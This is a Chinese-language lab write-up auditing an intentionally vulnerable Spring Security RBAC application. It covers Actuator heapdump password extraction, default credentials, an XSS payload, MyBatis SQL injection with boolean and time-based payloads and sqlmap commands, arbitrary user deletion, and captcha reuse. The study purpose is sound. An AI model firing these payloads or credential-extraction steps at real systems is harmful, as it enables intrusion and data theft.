0x00 环境搭建
环境配置
本套练习由炼石计划基于真实项目进行相关漏洞环境的改造
下载地址:https://github.com/witmy/my-springsecurity-plus
在本地mysql
创建数据库rbac
,导入rbac.sql
,并修改application.yml
中的数据库密码
- 创建数据库:
create database rbac;
- 选择
rbac
数据库:use rbac;
- 导入数据库文件:
source ...\RefiningStone-RBAC\rbac.sql
项目地址
http://127.0.0.1:8088/login.html
0x01 漏洞分析
黑盒
- 利用
dirsearch
进行目录扫描
获取到的url
如下:
http://127.0.0.1:8088/druid/login.html
http://127.0.0.1:8088/swagger-ui.html#/
http://127.0.0.1:8088/v2/api-docs
http://127.0.0.1:8088/actuator
- 异常信息泄露:一般情况下异常信息泄露会配合
4XX
,5XX
等响应码出现
druid弱口令
针对目录扫描泄露的登陆页面进行爆破,成功登录
Druid
未授权访问的实战应用:https://cloud.tencent.com/developer/article/1771986
SpringBoot Actuator未授权访问
http://127.0.0.1:8088/actuator
/beans:此端点返回应用程序中配置的所有bean的列表。
/env:提供有关Spring Environment属性的信息。
/health:显示应用程序运行状况。
/info:显示应用程序信息,我们可以在Spring环境属性中配置它。
/mappings:显示所有 @RequestMapping 路径的列表。
/shutdown:允许我们正常关闭应用程序。
/threaddump:提供应用程序的线程转储。
/heapdump 端点:用于获取应用的 JVM Heap Dump(堆转储文件)。
搜索*
可以看到被脱敏的密码
方法一:利用JDumpSpider.jar
java -jar JDumpSpider.jar heapdump
方法二:https://github.com/LandGrey/SpringBootVulExploit
select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))
select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password"))
弱口令漏洞
admin/123456
XSS漏洞
<img src="1" onerror=eval("alert('xss')")>
触发全局异常
加载异常日志的时会引发XSS
弹窗
SQL注入漏洞
逻辑漏洞
存在越权删除用户账号
越权漏洞自动化挖掘,工具推荐插件Autorize
官方地址: https://github.com/portswigger/autorize
,通过BurpSuite
的BApp Store
安装
白盒
信息收集
pom.xml
pom.xml
统一管理第三方依赖。通过groupId
,artifactId
,version
三个标识,我们可以了解到使用了哪个依赖库以及版本,从而可以确定是否存在漏洞。
groupId
: 项目组的标识符。通常,它是一个反向的域名,表示项目所属的组织或公司。artifactId
: 项目的名称。它是在仓库中标识此项目的主要名称。version
: 项目的版本。这可以用来表示项目的迭代和修改。
部分使用带漏洞版本的组件,但并没有使用存在漏洞的相关函数。比如Fastjson
反序列化漏洞,该项目实际并没有使用到parseObject
。
查看配置文件
数据库默认账号密码:
其他配置信息:
关键字查找
漏洞名称 | 关键词 |
XSS | getParamter 、<%= 、param. |
SQL 注入 | Select 、${ 、order |
任意文件下载 | download 、fileName |
任意文件删除 | Delete 、deleteFile 、fileName 、filePath |
文件上传 | Upload 、write 、fileName 、filePath |
命令注入 | getRuntime 、exec 、cmd 、shell |
XML 注入 | DocumentBuilder 、XMLStreamReader SAXBuilder 、SAXParser 、SAXReader 、XMLReader 、SAXSource |
反序列化漏洞 | ObjectInputStream.readObject 、ObjectInputStream.readUnshared XMLDecoder.readObject 、Yaml.load |
url 跳转 | sendRedirect 、setHeader 、forward |
不安全组件暴露 | activity 、BroadcastReceiver 、Content |
SQL注入挖掘
Mybatis
拼接sql
有下面两种方式:
#{}
:用于参数的绑定,可以将参数值安全的插入到SQL
语句中。它会自动为参数值添加单引号(')
,所以如果参数是一个字符串,则不需要再为其添加单引号。${}
:用于直接拼接SQL
语句,会将参数值直接插入到SQL
语句中,重点关注like
,in
和order by
。它不会对参数值进行任何转义或处理,所以如果参数是一个字符串,你需要为其添加单引号。
但是#{}
在某些场景中无法使用:
- 表名/字段名
order by
/group by
like
模糊查询in
File mask
选择*.xml
,全局搜索${
发现使用了like
语句以及${}
拼接,逆向查找所拼接的nickName
参数,推荐插件Free Mybatis Tool
逆向分析
通过搜索发现src/main/resources/mybatis-mappers/DictMapper.xml
文件在17行使用了like
语句和${}
传参,点击getFuzzyDictByPage
,进入Dao
层
最终会跟进到resultType
所参数指向的MyDict
类
继续跟进发现只有一个DictServiceImpl
类调用了DictDao
接口中的getFuzzyDictByPage
方法
接着发现DictController
类中getDictAll
方法调用了getDictPage
方法
进入Controller
层未发现nickName
参数
当前Controller
功能:查询字段列表
@Controller
// Spring MVC的注解,该类是一个控制器类
@RequestMapping("/api/dict")
// 控制器处理的所有请求都会有一个前缀/api/dict
@Api(tags = "系统:字典管理")
// Swagger的注解,用于生成API文档。它为API添加了一个标签“系统:字典管理”。
public class DictController {
@Autowired
// Spring的注解,用于自动装配bean。将DictService的实例自动注入到dictService字段中。
private DictService dictService;
@GetMapping("/index")
// 定义一个处理GET请求的方法,其URL路径为/api/dict/index
@PreAuthorize("hasAnyAuthority('dict:list')")
// Spring Security的注解,表示只有拥有'dict:list'权限的用户才能访问此方法。
public String index(){
return "system/dict/dict";
}
@GetMapping
// 通用映射注解,表示该方法处理GET请求
@ResponseBody
@ApiOperation(value = "字典列表")
// 该API方法提供描述
@PreAuthorize("hasAnyAuthority('dict:list')")
// Spring Security的注解,表示只有拥有'dict:list'权限的用户才能访问此方法。
@MyLog("查询字典列表")
// 可能是一个自定义注解,用于记录日志。从注解名来看,它的目的是记录“查询字典列表”的日志。
public Result getDictAll(PageTableRequest pageTableRequest, MyDict myDict){
pageTableRequest.countOffset();
return dictService.getDictPage(pageTableRequest.getOffset(),pageTableRequest.getLimit(),myDict);
}
主要是因为Controller
中以实体类接收表单数据,发现getDictAll
方法中有MyDict
实体类,其中定义多个参数,进入MyDict
类发现存在nickName
参数
@Data
// Lombok库提供的注解,用于自动生成类中的getter、setter、equals、hashCode和toString方法。
// 使用这个注解可以减少代码冗余。
@EqualsAndHashCode(callSuper = false)
// Lombok库提供的注解。当使用这个注解时,Lombok会为该类生成equals和hashCode方法。
// 参数callSuper = false表示在生成这两个方法时不会调用父类的equals和hashCode方法。
@Accessors(chain = true)
// Lombok注解,用于配置setter方法的行为。参数chain = true表示setter方法将返回this,
// 以便在一条语句中连续设置多个属性值,例如:myDict.setDictId(1).setDictName("name").
@ApiModel(value="SysDict对象", description="数据字典")
// Swagger框架的注解,用于生成API文档。
// 它提供了关于这个类的额外信息,如它的名字("SysDict对象")和描述("数据字典")。
public class MyDict extends BaseEntity{
private static final long serialVersionUID=1L;
// Java序列化机制的一部分。它定义了一个序列化ID,用于确保类的版本兼容性。
@ApiModelProperty(value = "id")
// 私有整数类型的属性,名为dictId
private Integer dictId;
@ApiModelProperty(value = "字典名称")
private String dictName;
@ApiModelProperty(value = "字典描述")
private String description;
@ApiModelProperty(value = "字典排序")
private Integer sort;
@ApiModelProperty(value = "创建者")
private String createBy;
@ApiModelProperty(value = "更新者")
private String updateBy;
}
经过分析确定了nickName
参数为字典名称,位于查询字典列表功能处
正向分析dictName
登录后台页面,访问http://127.0.0.1:8088/api/dict/index
先执行pageTableRequest.countOffset();
,然后调用DictService
接口中的getDictPage
方法
public Result getDictAll(PageTableRequest pageTableRequest, MyDict myDict){
pageTableRequest.countOffset();
// 根据页码和每页显示的数据条数来计算分页查询中的偏移量
return dictService.getDictPage(pageTableRequest.getOffset(),pageTableRequest.getLimit(),myDict);
}
步入getDictPage
方法,查看是哪个类实现了此接口
继续跟进发现DictServiceImpl
类实现了DictService
接口,并重写getDictPage
方法
关键代码在dictDao.getFuzzyDictByPage(myDict)
处,调用了DictDao
接口的getFuzzyDictByPage
方法,并传入参数
@Service
public class DictServiceImpl implements DictService {
@Autowired
private DictDao dictDao;
@Autowired
private DictDetailDao dictDetailDao;
@Override
public Result<MyDict> getDictPage(Integer offectPosition, Integer limit, MyDict myDict) {
Page page = PageHelper.offsetPage(offectPosition,limit);
// 分页查询
List<MyDict> fuzzyDictByPage = dictDao.getFuzzyDictByPage(myDict);
return Result.ok().count(page.getTotal()).data(fuzzyDictByPage).code(ResultCode.TABLE_SUCCESS);
}
-------------------------------------------------------------------------------
@Mapper
// Mapper接口,用于定义与数据库交互的方法
public interface DictDao {
// 是一个接口,定义了与数据库相关的操作
/**
* 模糊查询字典
* @param myDict 状态查询
* @return
*/
List<MyDict> getFuzzyDictByPage(MyDict myDict);
// 在这个接口中定义了一个方法,用于模糊查询字典
// 这个方法接受一个MyDict类型的参数,并返回一个MyDict类型的列表
// 这个方法的实现会在某个地方被提供(可能是一个XML文件或另一个Mapper接口)
-------------------------------------------------------------------------------
<mapper namespace="com.codermy.myspringsecurityplus.admin.dao.DictDao">
<sql id="selectDictVo">
select di.dict_id,di.dict_name,di.description,di.sort,di.create_by,di.update_by,di.create_time,di.update_time
from my_dict di
</sql>
<select id="getFuzzyDictByPage" resultType="com.codermy.myspringsecurityplus.admin.entity.MyDict">
<include refid="selectDictVo"/>
<where>
<if test="dictName != null and dictName != ''">
AND di.dict_name like CONCAT('%', ${dictName}, '%')
</if>
</where>
</select>
// MyBatis的XML映射文件的片段
// 定义了一个mapper,其命名空间是com.codermy.myspringsecurityplus.admin.dao.DictDao
// 这个XML文件是为了定义与DictDao接口相关的方法和SQL语句
最终数据库执行以下语句进行查询,然后返回的结果赋值给fuzzyDictByPage
变量
select di.dict_id,di.dict_name,di.description,di.sort,di.create_by,di.update_by,di.create_time,di.update_time from my_dict di where di.dict_name like CONCAT('%', ${dictName}, '%')
select dict_id,dict_name,description,sort,create_by,update_by,create_time,update_time from my_dict di where dict_name like CONCAT('%', ${dictName}, '%')
select dict_id,dict_name,description,sort,create_by,update_by,create_time,update_time from my_dict di where dict_name like CONCAT('%', '性别', '%')
- 在
SQL
模糊匹配中,('%', '', '%')
表示任意以任意字符开始和结束的字符串 %
是一个通配符,表示任意数量的任意字符- 第二个和第三个参数都是空字符串 ”
dictName
参数定义的是String
字符串,页面执行报错,数据库正常,创建几个数字命名的字典
布尔注入:
(SELECT (CASE WHEN (1662=1662) THEN '' ELSE (SELECT 7581 UNION SELECT 5995) END))
使用burp suite
自动进行一次url
编码转换
延时注入:
1 AND (SELECT 1090 FROM (SELECT(SLEEP(2)))ambB)
- 不闭合型:响应时间为4秒
- 闭合型:响应时间为2秒
数据库执行命令
正向分析nickName
nickName
:1 AND (SELECT 6117 FROM (SELECT(SLEEP(5)))Bjgh)
数据库中执行语句:
SELECT u.user_id,u.dept_id,u.user_name,u.password,u.nick_name,u.phone,u.email,u.status,u.create_time,u.update_time FROM my_user u left join my_dept d on u.dept_id = d.dept_id WHERE u.nick_name like CONCAT('%', 1 AND (SELECT 6117 FROM (SELECT(SLEEP(5)))Bjgh), '%') ORDER BY u.user_id
这里使用BareTail
工具查看数据库中实际执行的命令,如下图:
闭合型
使用sqlmap
工具测试
python sqlmap.py -r sql.txt --dbs --batch
python sqlmap.py -r sql.txt -D rbac --tables --batch
正向分析userName
userName
:1 AND (SELECT 5263 FROM (SELECT(SLEEP(5)))cjKZ)
不闭合型
逻辑越权挖掘
逆向分析
黑盒测试发现越权删除漏洞,从代码审计角度跟踪删除流程,通过url
路径/api/user
查看相关Controller
。发现位于src/main/java/com/codermy/myspringsecurityplus/admin/controller/UserController.java
中,删除用户方法在最后几行,通过userId
删除用户
@DeleteMapping
// Spring MVC注解,指示该方法处理HTTP DELETE请求
@ResponseBody
// 方法的返回值直接写入HTTP响应体,而不是通过模板引擎渲染
@ApiOperation(value = "删除用户")
// Swagger注解,该API方法提供描述
@PreAuthorize("hasAnyAuthority('user:del')")
// 拥有user:del权限的用户才能调用此方法
@MyLog("删除用户")
// 记录一条“删除用户”日志信息
public Result deleteUser(Integer userId){
int count = userService.deleteUser(userId);
return Result.judge(count,"删除用户");
}
接受userId
参数,调用userService.deleteUser(userId)
进行删除
通过userService
接口找到UserServiceImpl
实现类
删除方法在124-138
行
@Override
// 注解,该方法重写了父类或接口中的方法
public int deleteUser(Integer userId) {
checkUserAllowed(new MyUser(userId));
// 调用checkUserAllowed方法,传入一个新创建的MyUser对象
// 该对象的userId属性与传入的userId相同
// 可能是为了检查该用户是否有权限进行某些操作
roleUserDao.deleteRoleUserByUserId(userId);
// 删除my_role_user表中的用户id
userJobDao.deleteUserJobByUserId(userId);
// 通过用户id删除用户和岗位关联
return userDao.deleteUserById(userId);
// 通过id删除用户
}
先使用checkUserAllowed
方法根据参数userId
进行校验用户是否允许操作
然后分别调用三个方法,删除my_role_user表中的用户id
删除用户和岗位关联
删除用户
userId
从用户处获取,没有与要删除的数据做关联,而且userId
也不是从session
中获取的,从而导致任意用户删除。用户ID值可遍历,造成批量任意用户删除。
插件测试
将admin
密码加密值复制给test1
,或者使用john
破解test1
密码
xss挖掘
开发人员正常不会将所有的参数分别做过滤或转义,一般来说写个过滤/转义XSS
的Filter
。
分析后端代码,未发现XSS
相关过滤器Filter
或拦截器Interceptor
,可能存在XSS
,然后分析前端查看是否有转义机制,发现前端使用Thymeleaf
模板引擎(搜索th:text
或th:each
)和Layui
框架(搜索layui.js
、layui.css
、layui.use
或layui.layer
)。
Thymeleaf
中th:text
标签渲染,默认对特殊字符进行转义,不存在XSS
漏洞Thymeleaf
中th:utext
标签渲染,不会将字符串转义,可能存在XSS
漏洞Thymeleaf
中th:value
属性,不会对HTML
标签进行转义,可能导致产生XSS
XSS
漏洞的出现主要分为两点:
- 后端没有对用户输入的字符进行转义或过滤。
- 使用的前端框架存在
XSS
漏洞版本,也没有对返回到前端的参数进行过滤或转义。
未授权访问
在security/config/SpringSecurityConfig
中,将一些关键资源放行,造成未授权访问
SpringSecurity
配置是链式结构,可以同时配置多项过滤
验证码校验
输入验证码抓包,全局搜索/login
、captcha
,图片验证码代码位于src/main/java/com/codermy/myspringsecurityplus/security/filter/VerifyCodeFilter.java
@Component
public class VerifyCodeFilter extends OncePerRequestFilter {
private String defaultFilterProcessUrl = "/login";
private String method = "POST";
@Override
protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain chain) throws ServletException, IOException {
if (method.equalsIgnoreCase(request.getMethod()) && defaultFilterProcessUrl.equals(request.getServletPath())) {
// 用于检查当前的请求是否与预设的URL和HTTP方法相匹配
HttpSession session = request.getSession();
// 获取cookie的session值
String requestCaptcha = request.getParameter("captcha");
// 从请求中获取名为"captcha"的参数值,用户输入的验证码
String genCaptcha = (String) request.getSession().getAttribute("captcha");
// 从当前会话中获取名为"captcha"的属性值,之前生成的验证码
response.setContentType("application/json;charset=UTF-8");
// 设置响应的内容类型为JSON格式,并指定字符集为UTF-8
if (StrUtil.isEmpty(requestCaptcha)){
// StrUtil.isEmpty方法 检查用户输入的验证码是否为空
session.removeAttribute("captcha");
// 如果用户输入的验证码为空,则从会话中移除生成的验证码
response.getWriter().write(JSON.toJSONString(Result.error().message("验证码不能为空!")));
// Result.error():创建一个错误的结果对象,.message("验证码不能为空!"):并设置其消息为"验证码不能为空!"
// JSON.toJSONString():然后将这个结果对象转换为JSON格式的字符串,并写入到响应中
return;
}
/* if (StrUtil.isEmpty(genCaptcha)){
response.getWriter().write(JSON.toJSONString(Result.error().message("验证码已失效!")));
return;
}
if (!StrUtil.equalsIgnoreCase(genCaptcha,requestCaptcha)){
// 忽略大小写
// 比较从cookie中获取的captcha值和从请求中获取的captcha值是否相同
session.removeAttribute("captcha");
response.getWriter().write(JSON.toJSONString(Result.error().message("验证码错误!")));
return;
}*/
}
chain.doFilter(request, response);
// 继续执行过滤器链中的下一个过滤器或目标资源
}
}
只有在验证码为空时才会置空销毁掉缓存中存储的验证码,就是说不为空的时候使用错误的验证码也可以通过校验,这就是验证码可以重用的原因。